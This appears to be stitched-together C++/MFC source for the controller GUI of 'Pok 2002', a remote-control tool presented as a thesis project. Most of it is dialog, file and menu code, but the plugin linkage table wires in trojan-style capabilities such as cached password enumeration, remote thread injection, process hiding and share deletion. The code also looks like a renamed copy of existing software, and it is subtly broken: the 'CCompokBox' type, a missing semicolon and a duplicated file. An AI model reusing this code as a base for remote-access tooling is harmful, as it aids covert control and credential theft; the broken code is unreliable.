WriteFile(out,si->svName,64,&dwBytes,NULL);




WriteFile(out,si->svConnectionType,64,&dwBytes,NULL);




WriteFile(out,si->svAddress,512,&dwBytes,NULL);




WriteFile(out,si->svEncryption,64,&dwBytes,NULL);




WriteFile(out,si->svAuthentication,64,&dwBytes,NULL);




si=si->next;



}



CloseHandle(out);


}


SetModifiedFlag(FALSE);


return TRUE;

}

BOOL CpokWDoc::OnOpenDocument(LPCTSTR lpszPathName) 

{


char svName[64];


char svConnectionType[64];


char svAddress[512];


char svEncryption[64];


char svAuthentication[64];


DeleteContents();


HANDLE in;

in=CreateFile(lpszPathName,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);


if(in!=INVALID_HANDLE_VALUE) {



DWORD dwBytes,dwCount,dwMagic;



dwCount=GetFileSize(in,NULL);



ReadFile(in,&dwMagic,sizeof(DWORD),&dwBytes,NULL);



dwCount-=dwBytes;



if(dwMagic!=MAGIC_DWORD) { 




CloseHandle(in);




return FALSE;



}



while(dwCount>0) {
//Carica dal file la lista dei server




ReadFile(in,svName,64,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svConnectionType,64,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svAddress,512,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svEncryption,64,&dwBytes,NULL);




dwCount-=dwBytes;




ReadFile(in,svAuthentication,64,&dwBytes,NULL);




dwCount-=dwBytes;




InsertServer(svName,svConnectionType,svAddress,svEncryption,svAuthentication);



}



CloseHandle(in);


}


SetModifiedFlag(FALSE);


return TRUE;

}

void CpokWDoc::DeleteContents() 

{


theApp.NewDocumentFile();


if(m_pHeadSI!=NULL) {



SERVER_INFO *psi;



while(m_pHeadSI!=NULL) {




psi=m_pHeadSI->next;




free(m_pHeadSI);




m_pHeadSI=psi;



}


}


CDocument::DeleteContents();

}

/*  Pok 2002 (il ragno che insidia la rete) */

// pokWView.cpp : implementazione della Classe CpokWView 

#include "stdafx.h"

#include "pokkgui.h"

#include "pokWDoc.h"

#include "pokWview.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

IMPLEMENT_DYNCREATE(CpokWView, CView)

BEGIN_MESSAGE_MAP(CpokWView, CView)


//{{AFX_MSG_MAP(CpokWView)


ON_WM_ERASEBKGND()


//}}AFX_MSG_MAP

END_MESSAGE_MAP()

//costruttore/distruttore
CpokWView::CpokWView()

{

}

CpokWView::~CpokWView()

{

}

void CpokWView::OnDraw(CDC* pDC)

{


CBOWDoc* pDoc = GetDocument();


ASSERT_VALID(pDoc);

}

//visualizza la diagnostica
#ifdef _DEBUG

void CpokWView::AssertValid() const

{


CView::AssertValid();

}

void CpokWView::Dump(CDumpContext& dc) const

{


CView::Dump(dc);

}

CpokWDoc* CpokWView::GetDocument() //Stiamo usando una versione non testata
{


ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CpokWDoc)));


return (CpokWDoc*)m_pDocument;

}

#endif //_DEBUG
// CpoWView manipolatore dei messaggi

BOOL CpokWView::OnEraseBkgnd(CDC* pDC) 

{


return (TRUE);

}

BOOL CpokWView::PreCreateWindow(CREATESTRUCT& cs) 

{



cs.style &= ~WS_BORDER;


if (!CView::PreCreateWindow(cs))



return (FALSE);


// Non dipingere sopra la finetra

cs.style |= WS_CLIPCHILDREN;


// Tutto andato a buon fine…..

return (TRUE);

}

/*  Pok 2002 (il ragno che insidia la rete) */

// omCtlMsg.cpp : implementazione della classe e dei file

#include "stdafx.h"

#include "pokgui.h"

#include "ComCtlMsg.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

// ComCtlMsg dialog

ComCtlMsg::ComCtlMsg(CWnd* pParent /*=NULL*/)


: CDialog(ComCtlMsg::IDD, pParent)

{

}

void ComCtlMsg::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);

}

BEGIN_MESSAGE_MAP(ComCtlMsg, CDialog)

END_MESSAGE_MAP()

BOOL ComCtlMsg::OnInitDialog() 

{


CDialog::OnInitDialog();


return TRUE;  

}

/*  Pok 2002 (il ragno che insidia la rete) */

#include <windows.h>

#include <shlwapi.h>

int GetComCtlVersion(LPDWORD pdwMajor, LPDWORD pdwMinor)

{


HINSTANCE hComCtl;


DLLGETVERSIONPROC pDllGetVersion;


DLLVERSIONINFO dvi;      


// Controlla  inputs


if( IsBadWritePtr(pdwMajor, sizeof(DWORD)) || 

        IsBadWritePtr(pdwMinor, sizeof(DWORD)))   



return -1;


// Carica le librerie dinamiche DLL


hComCtl = LoadLibrary("comctl32.dll");


if(!hComCtl) return -1;



pDllGetVersion = (DLLGETVERSIONPROC)GetProcAddress(hComCtl, TEXT("DllGetVersion"));


if(!pDllGetVersion) {



FreeLibrary(hComCtl);



*pdwMajor = 4;



*pdwMinor = 0;



return 0;


}


ZeroMemory(&dvi, sizeof(dvi));


dvi.cbSize = sizeof(dvi);   


if(!SUCCEEDED((*pDllGetVersion)(&dvi)))  {



FreeLibrary(hComCtl);



return -1;


}


*pdwMajor = dvi.dwMajorVersion;


*pdwMinor = dvi.dwMinorVersion;


FreeLibrary(hComCtl);


return 0;   

}

/* Pok il ragno che insidia la rete*/

//file ChistoryEdit.h

#include "stdafx.h"

#include "HistoryEdit.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CHistoryEdit::CHistoryEdit()

{


m_bSelectable = FALSE;

}

CHistoryEdit::~CHistoryEdit()

{

}

BEGIN_MESSAGE_MAP(CHistoryEdit, CEdit)


ON_WM_SETFOCUS()


ON_WM_PAINT()


END_MESSAGE_MAP()

void CHistoryEdit::AppendString (CString str)

{


CString   strBuffer;    //controllo dell’istanza corrente


// Aggiungi stringa

GetWindowText (strBuffer);


CString strAppend;



strAppend.Empty();


int i;


for(i=0;i<str.GetLength();i++) {



if(str[i]=='\n') {




strAppend+='\r';



}



strAppend+=str[i];


}


strBuffer += strAppend;


SetWindowText (strBuffer);


// esegue Scroll delle stringhe memorizzate


LineScroll (GetLineCount(), 0);

}

// manipolatore dei messaggi

void CHistoryEdit::OnSetFocus(CWnd* pOldWnd) 

{


// Toglie l’acceso agli utenti che vogliono alterare le stringhe

if (m_bSelectable)



CEdit::OnSetFocus (pOldWnd);


else



pOldWnd->SetFocus();

}

// fine dell’editor History.cpp

void CHistoryEdit::OnPaint() 

{



RECT r;


// usa sfondo bianco

CPaintDC dc(this);


GetClientRect(&r);


dc.FillSolidRect(&r,GetSysColor(COLOR_WINDOW));


Invalidate();


CEdit::OnPaint();

}

/*  Pok 2002 (il ragno che insidia la rete) */

#ifndef _HistoryEdit_h_

#define _HistoryEdit_h_

// file ChistoryEdit.h  window

class CHistoryEdit : public CEdit

{

// Costruttore

public:


CHistoryEdit();

// Attributi

public:

// Operazioni

public:

  void  AppendString (CString str);

  BOOL  IsSelectable() { return m_bSelectable; }

  void  AllowSelection (BOOL bAllowSelect) { m_bSelectable = bAllowSelect; }

// Implementazione

public:


virtual ~CHistoryEdit();


// mappa generale dei messaggi

protected:


afx_msg void OnSetFocus(CWnd* pOldWnd);


afx_msg void OnPaint();


DECLARE_MESSAGE_MAP()

protected:

  BOOL  m_bSelectable;                          

};

#endif

// fine del file  HistoryEdit.h

/*  Pok 2002 (il ragno che insidia la rete) */

// file InteractiveConnect.cpp

#include "stdafx.h"

#include "pokgui.h"

#include "InteractiveConnect.h"

#include "MainFrm.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CInteractiveConnect::CInteractiveConnect(CWnd* pParent /*=NULL*/)


: CDialog(CInteractiveConnect::IDD, pParent)

{



m_nEncryption = -1;


m_nConnType = -1;


m_nAuthHandler = -1;


m_strSvrAddr = _T("");


}

void CInteractiveConnect::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);


DDX_CBIndex(pDX, IDC_ENCRYPTION_ENGINE, m_nEncryption);


DDX_CBIndex(pDX, IDC_CONNECTION_TYPE, m_nConnType);


DDX_CBIndex(pDX, IDC_AUTH_HANDLER, m_nAuthHandler);


DDX_Text(pDX, IDC_SERVER_ADDRESS, m_strSvrAddr);

}

BEGIN_MESSAGE_MAP(CInteractiveConnect, CDialog)

END_MESSAGE_MAP()

void CInteractiveConnect::OnOK() 

{


CComboBox *ccb;


ccb=(CCompokBox *)GetDlgItem(IDC_CONNECTION_TYPE);


m_strSelectedIO=g_pIOHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


ccb=(CCompokBox *)GetDlgItem(IDC_ENCRYPTION_ENGINE);


m_strSelectedEnc=g_pEncryptionHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


ccb=(CCompokBox *)GetDlgItem(IDC_AUTH_HANDLER);


m_strSelectedAuth=g_pAuthHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


CDialog::OnOK();

}

BOOL CInteractiveConnect::OnInitDialog() 

{


int i;


CCompokBox *ccb;


CDialog::OnInitDialog();


// Aggiungi tipo di connessione

ccb=(CCompokBox *)GetDlgItem(IDC_CONNECTION_TYPE);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_IO_HANDLERS;i++) {



char *txt;



txt=g_pIOHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedIO)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


// Aggiungi tipo di criptatura Vedi capitolo “Protocollo di POK”

ccb=(CCompokBox *)GetDlgItem(IDC_ENCRYPTION_ENGINE);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



char *txt;



txt=g_pEncryptionHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedEnc)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


// aggiungi l’autenticazione del tipo di server Pok

ccb=(CCompokBox *)GetDlgItem(IDC_AUTH_HANDLER);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



char *txt=g_pAuthHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedAuth)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


return TRUE;  // Restituisce TRUE se il controllo è stato agganciato

}

/*  Pok 2002 (il ragno che insidia la rete) */

// file InteractiveListen.cpp 

#include "stdafx.h"

#include "pokgui.h"

#include "InteractiveListen.h"

#include "MainFrm.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

CInteractiveListen::CInteractiveListen(CWnd* pParent /*=NULL*/)


: CDialog(CInteractiveListen::IDD, pParent)

{


m_nAuthHandler = -1;


m_nConnType = -1;


m_nEncryption = -1;


m_strSvrAddr = _T("");

}

void CInteractiveListen::DoDataExchange(CDataExchange* pDX)

{


CDialog::DoDataExchange(pDX);


DDX_CBIndex(pDX, IDC_AUTH_HANDLER, m_nAuthHandler);


DDX_CBIndex(pDX, IDC_CONNECTION_TYPE, m_nConnType);


DDX_CBIndex(pDX, IDC_ENCRYPTION_ENGINE, m_nEncryption);


DDX_Text(pDX, IDC_SERVER_ADDRESS, m_strSvrAddr);

}

BEGIN_MESSAGE_MAP(CInteractiveListen, CDialog)

END_MESSAGE_MAP()

void CInteractiveListen::OnOK() 

{


CCompokBox *ccb;


ccb=(CCompokBox *)GetDlgItem(IDC_CONNECTION_TYPE);


m_strSelectedIO=g_pIOHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


ccb=(CCompokBox *)GetDlgItem(IDC_ENCRYPTION_ENGINE);


m_strSelectedEnc=g_pEncryptionHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


ccb=(CCompokBox *)GetDlgItem(IDC_AUTH_HANDLER);


m_strSelectedAuth=g_pAuthHandler->Query(ccb->GetItemData(ccb->GetCurSel()));


CDialog::OnOK();

}

BOOL CInteractiveListen::OnInitDialog() 

{


int i;


CCompokBox *ccb;


CDialog::OnInitDialog();


// Aggiungi tipo di connessione

ccb=(CCompokBox *)GetDlgItem(IDC_CONNECTION_TYPE);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_IO_HANDLERS;i++) {



char *txt;



txt=g_pIOHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedIO)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


// Aggiungi tipo di connessione

ccb=(CCompokBox *)GetDlgItem(IDC_ENCRYPTION_ENGINE);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



char *txt;



txt=g_pEncryptionHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedEnc)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


// Aggiungi tipo autenticazione

ccb=(CCompokBox *)GetDlgItem(IDC_AUTH_HANDLER);


if(ccb==NULL) return FALSE;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



char *txt=g_pAuthHandler->Query(i);



if(txt!=NULL) {




ccb->InsertString(0,txt);




ccb->SetItemData(0,i);




if(lstrcmp(txt,m_strSelectedAuth)==0) {





ccb->SetCurSel(0);




}



}


}


if(ccb->GetCurSel()==CB_ERR) ccb->SetCurSel(0);


return TRUE

}

//Pok 2002 (il ragno che insidia la rete) sistema di telecontrollo

//File CBOWView.cpp

#include "stdafx.h"

#include "pokgui.h"

#include "pokWDoc.h"

#include "pokWview.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

IMPLEMENT_DYNCREATE(CpokWView, CView)

BEGIN_MESSAGE_MAP(CpokWView, CView)



ON_WM_ERASEBKGND()

END_MESSAGE_MAP()

CpokWView::CpokWView()

{

}

CpokWView::~CpokWView()

{

}

void CpokWView::OnDraw(CDC* pDC)

{


CpokWDoc* pDoc = GetDocument();


ASSERT_VALID(pDoc);

}

#ifdef _DEBUG

void CpokWView::AssertValid() const

{


CView::AssertValid();

}

void CpokWView::Dump(CDumpContext& dc) const

{


CView::Dump(dc);

}

CpokWDoc* CpokWView::GetDocument()

{


ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CpokWDoc)));


return (CpokWDoc*)m_pDocument;

}

#endif //_DEBUG

// manipolatore dei messaggi CBOWView 

BOOL CpokWView::OnEraseBkgnd(CDC* pDC) 

{



return (TRUE);

}

BOOL CpokWView::PreCreateWindow(CREATESTRUCT& cs) 

{


// Definisce lo stile della finestra di dialogo

cs.style &= ~WS_BORDER;


if (!CView::PreCreateWindow(cs))



return (FALSE);


cs.style |= WS_CLIPCHILDREN;


// Testo che tutto è andato a buon fine


return (TRUE);

}

/*  Pok 2002 (il ragno che insidia la rete) */

// MainFrm.cpp : implementazione della casse

#include "stdafx.h"

#include "pokgui.h"

#include "MainFrm.h"

#include "pluginconfig.h"

#include <auth.h>

#include <iohandler.h>

#include <encryption.h>

#include <dll_load.h>

#include <plugins.h>

#include <interactiveconnect.h>

#include <interactivelisten.h>

#include <osversion.h>

#include "Splash.h" // lancia la finestra di presentazione con permanenza di 6 secondi

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;


#endif

#define WM_CDIALOG_DO_MODAL (WM_USER+123)

#define WM_TASKBAR_CALLBACK (WM_USER+124)

typedef struct {


CDialog *pDialog;


int nRet;


HANDLE hTrigger;

} CDIALOGDOMODALPARAM;

//funzione  CMainFrame
IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd) 

BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd) 


ON_WM_CREATE()


ON_COMMAND(IDM_PLUGINS, OnPlugins)


ON_COMMAND(ID_SERVER_NEW, OnServerNew)


ON_UPDATE_COMMAND_UI(ID_SERVER_NEW, OnUpdateServerNew)


ON_COMMAND(ID_SERVER_EDIT, OnServerEdit)


ON_UPDATE_COMMAND_UI(ID_SERVER_EDIT, OnUpdateServerEdit)


ON_COMMAND(ID_SERVER_DELETE, OnServerDelete)


ON_UPDATE_COMMAND_UI(ID_SERVER_DELETE, OnUpdateServerDelete)


ON_MESSAGE(WM_CDIALOG_DO_MODAL, OnDialogDoModal)


ON_WM_DESTROY()


ON_WM_ERASEBKGND()


ON_WM_ACTIVATE()


ON_WM_TIMER()


ON_WM_SHOWWINDOW()


ON_WM_SIZE()


ON_COMMAND_RANGE(IDM_PLUGIN_0, IDM_PLUGIN_4095, OnPluginMenu)

END_MESSAGE_MAP()

static UINT indicators[] =

{


ID_SEPARATOR,           


ID_INDICATOR_CAPS,


ID_INDICATOR_NUM,


ID_INDICATOR_SCRL,

};

// Manipolatore globale degli oggetti
CIOHandler *g_pIOHandler;

CEncryptionHandler *g_pEncryptionHandler;

CAuthHandler *g_pAuthHandler;

// CMainFrame costruttore distruttore

CMainFrame::CMainFrame()

{


g_pIOHandler=NULL;


g_pEncryptionHandler=NULL;


g_pAuthHandler=NULL;


m_pWndServerList = NULL;


m_arrPluginInfo.RemoveAll();


m_arrVarInfo.RemoveAll();

}

CMainFrame::~CMainFrame()

{

}

BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs) 

{


if (!CFrameWnd::PreCreateWindow(cs))



return (FALSE);


cs.dwExStyle &= ~WS_EX_CLIENTEDGE;


return (TRUE);

}

int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)

{


if (CFrameWnd::OnCreate(lpCreateStruct) == -1)



return -1;


if (!m_wndStatusBar.Create(this) ||



!m_wndStatusBar.SetIndicators(indicators,



  sizeof(indicators)/sizeof(UINT)))


{



TRACE0("Impossibile creare la barra di stato\n");



return -1;      // Creazione mancata


}


if (InitializePlugins() == -1)



return FALSE;



// mostra la schermata di presentazione con intestazione della tesi


CSplash spl;


spl.DoModal();


return (0);

}

BOOL CMainFrame::OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext) 

{


// crea la prima finestra di Pok


if (!CFrameWnd::OnCreateClient(lpcs, pContext))



return (FALSE);


// verifica con un puntatore di avere creato la finestra corretta


CView *pView = (CView *) GetDlgItem (AFX_IDW_PANE_FIRST);


ASSERT (pView->IsKindOf (RUNTIME_CLASS (CView)));


// crea la lista dei server


if (m_pWndServerList = new CServerList)



m_pWndServerList->Create (CServerList::IDD, pView);


return (TRUE);

}

void CMainFrame::OnDestroy() 

{


// se c’è una lista di server questa opzione la cancella


if (m_pWndServerList)


{



m_pWndServerList->DestroyWindow ();



delete m_pWndServerList;



m_pWndServerList = NULL;


}


// disattiva il plugins


TerminatePlugins();


// distruttore dell’esemplare della finestra


CFrameWnd::OnDestroy();

}

void CMainFrame::OnSize(UINT nType, int cx, int cy) 

{


CFrameWnd::OnSize(nType, cx, cy);


// se c’è una lista di server viene ridimensionata la finestra


if (m_pWndServerList)


{



ASSERT (::IsWindow (m_pWndServerList->m_hWnd));



CView *pView = (CView *) GetDlgItem (AFX_IDW_PANE_FIRST);



ASSERT (pView && pView->IsKindOf (RUNTIME_CLASS (CView)));



CRect rect;//ridimensiona la finetra e controlla che sia quella giusta



pView->GetClientRect (rect);



m_pWndServerList->MoveWindow (rect);


}

}

#ifdef _DEBUG

void CMainFrame::AssertValid() const

{


CFrameWnd::AssertValid(); 

}

void CMainFrame::Dump(CDumpContext& dc) const

{


CFrameWnd::Dump(dc); 

}

#endif 

// manipolatore dei messaggi CMainFrame 

void CMainFrame::OnPlugins() 

{


CPluginConfig cpg;


cpg.DoModal();

}

void CMainFrame::OnServerNew()

{


m_pWndServerList->OnNewmachine();

}

void CMainFrame::OnUpdateServerNew(CCmdUI* pCmdUI)

{


pCmdUI->Enable(m_pWndServerList->GetDlgItem(ID_NEWMACHINE)->IsWindowEnabled());


}

void CMainFrame::OnServerEdit()

{


m_pWndServerList->OnEditmachine();

}

void CMainFrame::OnUpdateServerEdit(CCmdUI* pCmdUI)

{


pCmdUI->Enable(m_pWndServerList->GetDlgItem(ID_EDITMACHINE)->IsWindowEnabled());

}

void CMainFrame::OnServerDelete()

{


m_pWndServerList->OnDeletemachine();

}

void CMainFrame::OnUpdateServerDelete(CCmdUI* pCmdUI)

{


pCmdUI->Enable(m_pWndServerList->GetDlgItem(ID_DELETEMACHINE)->IsWindowEnabled());


}

int CMainFrame::RegisterClientMenu(LPCSTR szCategory, LPCSTR szComName, TYPEOF_ClientMenu *pProc)

{


CMenu *pMenu, *pSubMenu;


pMenu=GetMenu()->GetSubMenu(3);


if(pMenu==NULL) return -1;


// Trova o crea un sottomenu per i plugin

int i,count;


count=pMenu->GetMenuItemCount();


for(i=2;i<count;i++) {



CString str;



pMenu->GetMenuString(i,str,MF_BYPOSITION);



if(str.CompareNoCase(szCategory)==0) break;


}


if(i==count) {



pSubMenu=new CMenu();



if(pSubMenu==NULL) return -1;



pSubMenu->CreatePopupMenu();



pMenu->InsertMenu(i,MF_POPUP|MF_STRING|MF_ENABLED,(UINT)pSubMenu->GetSafeHmenu(),szCategory);




} else {



pSubMenu=pMenu->GetSubMenu(i);


}


// identificatore nullo


int nId;


nId=0;


count=m_arrPluginMenuItems.GetSize();


i=0;


while(i!=count) {



for(i=0;i<count;i++) {




if(m_arrPluginMenuItems[i].nId==nId) {





nId++;





break;




}



}


}


// aggiungi opzione per I plugin


PLUGINMENUITEM pmi;


pmi.nId=nId;


pmi.pProc=pProc;


m_arrPluginMenuItems.Add(pmi);


pSubMenu->AppendMenu(MF_STRING|MF_ENABLED,IDM_PLUGIN_0+nId,szComName);


return 0;

}

int CMainFrame::UnregisterClientMenu(LPCSTR szCategory, LPCSTR szComName)

{


CMenu *pMenu, *pSubMenu;


// rimuovi dalla lista dei plugin


pMenu=GetMenu()->GetSubMenu(3);


if(pMenu==NULL) return -1;


// trova sottomeno per I plugin


int k,count;


count=pMenu->GetMenuItemCount();


for(k=2;k<count;k++) {



CString str;



pMenu->GetMenuString(k,str,MF_BYPOSITION);



if(str.CompareNoCase(szCategory)==0) break;


}


if(k==count) {



return -1;


} else {



pSubMenu=pMenu->GetSubMenu(k);


}


// trova il menu delle opzioni


int i;


count=pSubMenu->GetMenuItemCount();


for(i=0;i<count;i++) {



CString str;



pSubMenu->GetMenuString(i,str,MF_BYPOSITION);



if(str.CompareNoCase(szComName)==0) break;


}


if(i==count) return -1;


// rimuovi il menu delle opzioni


int j,pcount,nId;


nId=pSubMenu->GetMenuItemID(i)-IDM_PLUGIN_0;


pSubMenu->RemoveMenu(i,MF_BYPOSITION);


if(count==1) {



pMenu->RemoveMenu(k,MF_BYPOSITION);



delete pSubMenu;


}


pcount=m_arrPluginMenuItems.GetSize();


for(j=pcount-1;j>=0;j--) {



if(m_arrPluginMenuItems[j].nId==nId) {




m_arrPluginMenuItems.RemoveAt(j);




break;



}


}


if(j==-1) return -1;


return 0;

}

int CMainFrame::InitializePlugins()

{


InitDynamicLibraries();


// attiva il caricatore delle librerie dinamiche


InitializeDLLLoad();


// attiva sottosistema di Input/Output


g_pIOHandler=new CIOHandler();


if(g_pIOHandler==NULL) return -1;


// Abilita criptatura del sottosistema


g_pEncryptionHandler=new CEncryptionHandler();


if(g_pEncryptionHandler==NULL) return -1;


// Abilita autenticazione del sottosistema


g_pAuthHandler=new CAuthHandler();


if(g_pAuthHandler==NULL) return -1;


// Installa plugins


int i,count;


count=AfxGetApp()->GetProfileInt("Plugins","Count",0);


for(i=0;i<count;i++) {



CString strKey,strValue;



strKey.Format("Plugin_%d",i);



strValue=AfxGetApp()->GetProfileString("Plugins",strKey,NULL);



AddPlugin(strValue);


}


// Aggiungi vriabile eseguibile per il Client


char *base=(char *)AfxGetInstanceHandle();


PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(base);


AddVariables(base, poh->SizeOfImage, -1);


LoadPluginConfig(-1);


return 0;

}

int CMainFrame::TerminatePlugins()

{


// Salva configurazione del client


SavePluginConfig(-1);


// Scarica Plugin


int i,count;


count=m_arrPluginInfo.GetSize();


AfxGetApp()->WriteProfileInt("Plugins","Count",count);


for(i=(count-1);i>=0;i--) {



CString strKey;



strKey.Format("Plugin_%d",i);



AfxGetApp()->WriteProfileString("Plugins",strKey,m_arrPluginInfo[i].svFilename);



RemovePlugin(i);


}


// Rimuovi le chiavi eccedenti dal registro


i=count; 


while(1) {



CString strKey;



strKey.Format("Plugin_%d",i);



if(AfxGetApp()->GetProfileString("Plugins",strKey).IsEmpty()) break;



AfxGetApp()->WriteProfileString("Plugins",strKey,NULL);



i++;


}


// Termina Auth Subsystem


if(g_pAuthHandler!=NULL) {



for(i=0;i<MAX_AUTH_HANDLERS;i++) {




g_pAuthHandler->Remove(i);



}



delete g_pAuthHandler;


}


// Termina Criptaggio del sottosistema


if(g_pEncryptionHandler!=NULL) {



for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {




g_pEncryptionHandler->Remove(i);



}



delete g_pEncryptionHandler;


}


// Termina la comunicazione di Input output con il sottosistema


if(g_pIOHandler!=NULL) {



for(i=0;i<MAX_IO_HANDLERS;i++) {




g_pIOHandler->Remove(i);



}



delete g_pIOHandler;


}


// Termina il caricatore delle DLL


KillDLLLoad();


KillDynamicLibraries();


return 0;

}

int CMainFrame::FillLinkage(PLUGIN_LINKAGE *ppl)

{


PIMAGE_OPTIONAL_HEADER poh;


poh=(PIMAGE_OPTIONAL_HEADER) OPTHDROFFSET(AfxGetInstanceHandle());



ppl->wpokVerLo=poh->MinorImageVersion;


ppl->wpokVerHi=poh->MajorImageVersion;


ppl->pBaseAddress=(void *)AfxGetInstanceHandle();


ppl->win.bIsWinNT=g_bIsWinNT;


ppl->pbEradicate=NULL;


ppl->pbpokFinished=NULL;//conclusione di attività del client


ppl->pbRestart=NULL;


ppl->svRestartProcess=NULL;


ppl->svStartupOptions=NULL;


ppl->ppCommSock=NULL;


ppl->pnCommCount=NULL;


ppl->ppConnSock=NULL;


ppl->pnConnCount=NULL;


ppl->pEncryptionHandler=g_pEncryptionHandler;


ppl->pIOHandler=g_pIOHandler;


ppl->pAuthHandler=g_pAuthHandler;


// Integrità del server e generalità :Controlli per il riconoscimento


ppl->pListenAuthSocket=ListenAuthSocket;


ppl->pConnectAuthSocket=ConnectAuthSocket;


ppl->pInteractiveConnect=InteractiveConnect;


ppl->pInteractiveListen=InteractiveListen;


// pokCOMREG


ppl->command_handler_table=NULL;


ppl->command_description_table=NULL;


ppl->pRegisterCommand=NULL;


ppl->pUnregisterCommand=NULL;


ppl->pRegisterClientMenu=&::RegisterClientMenu;


ppl->pUnregisterClientMenu=&::UnregisterClientMenu;


ppl->pDispatchCommand=NULL;


// COMMENTI


ppl->pBreakDownCommand=BreakDownCommand;


ppl->pBuildCommandRequest=BuildCommandRequest;


ppl->pBuildCommandReply=BuildCommandReply;


ppl->pFreeCommandMemory=FreeCommandMemory;


ppl->pIssueAuthCommandRequest=IssueAuthCommandRequest;


ppl->pIssueAuthCommandReply=IssueAuthCommandReply;


// PVIEWER


ppl->pCreateProcListSnapshot=CreateProcListSnapshot;


ppl->pDestroyProcListSnapshot=DestroyProcListSnapshot;


// PLUGIN


ppl->pAddPlugin=NULL;


ppl->pDebugPlugin=NULL;


ppl->pRemovePlugin=NULL;


ppl->pGetPlugin=NULL;


// DLL_LOAD caricameto delle librerie dinamiche


ppl->pGetDLLHandle=GetDLLHandle;


ppl->pGetDLLFileName=GetDLLFileName;


ppl->pGetDLLProcAddress=GetDLLProcAddress;


ppl->pSetDLLProcAddress=SetDLLProcAddress;


ppl->pResetDLLProcAddress=ResetDLLProcAddress;


ppl->pLoadDLLFromImage=LoadDLLFromImage;


ppl->pLoadDLLEx=LoadDLLEx;


ppl->pLoadDLL=LoadDLL;


ppl->pFreeDLL=FreeDLL;


// FUNZIONI


ppl->win.pCreateToolhelp32Snapshot=pCreateToolhelp32Snapshot;


ppl->win.pModule32First=pModule32First;


ppl->win.pModule32Next=pModule32Next;


ppl->win.pProcess32First=pProcess32First; 


ppl->win.pProcess32Next=pProcess32Next; 


ppl->win.pThread32First=pThread32First; 


ppl->win.pThread32Next=pThread32Next; 


ppl->win.pRegisterServiceProcess=pRegisterServiceProcess;


ppl->win.pCreateRemoteThread=pCreateRemoteThread;


ppl->win.pVirtualAllocEx=pVirtualAllocEx;


ppl->win.pVirtualFreeEx=pVirtualFreeEx;


ppl->win.pVirtualQueryEx=pVirtualQueryEx;


ppl->win.pVirtualProtectEx=pVirtualProtectEx;


ppl->win.pWNetEnumCachedPasswords=pWNetEnumCachedPasswords;


ppl->win.pWNetCloseEnum=pWNetCloseEnum;


ppl->win.pWNetEnumResource=pWNetEnumResource;


ppl->win.pWNetOpenEnum=pWNetOpenEnum;


ppl->win.pWNetCancelConnection2=pWNetCancelConnection2;


ppl->win.pWNetAddConnection2=pWNetAddConnection2;


ppl->win.pLMSNetSessionEnum=pLMSNetSessionEnum;


ppl->win.pLMSNetShareEnum=pLMSNetShareEnum;


ppl->win.pLMSNetShareDel=pLMSNetShareDel;


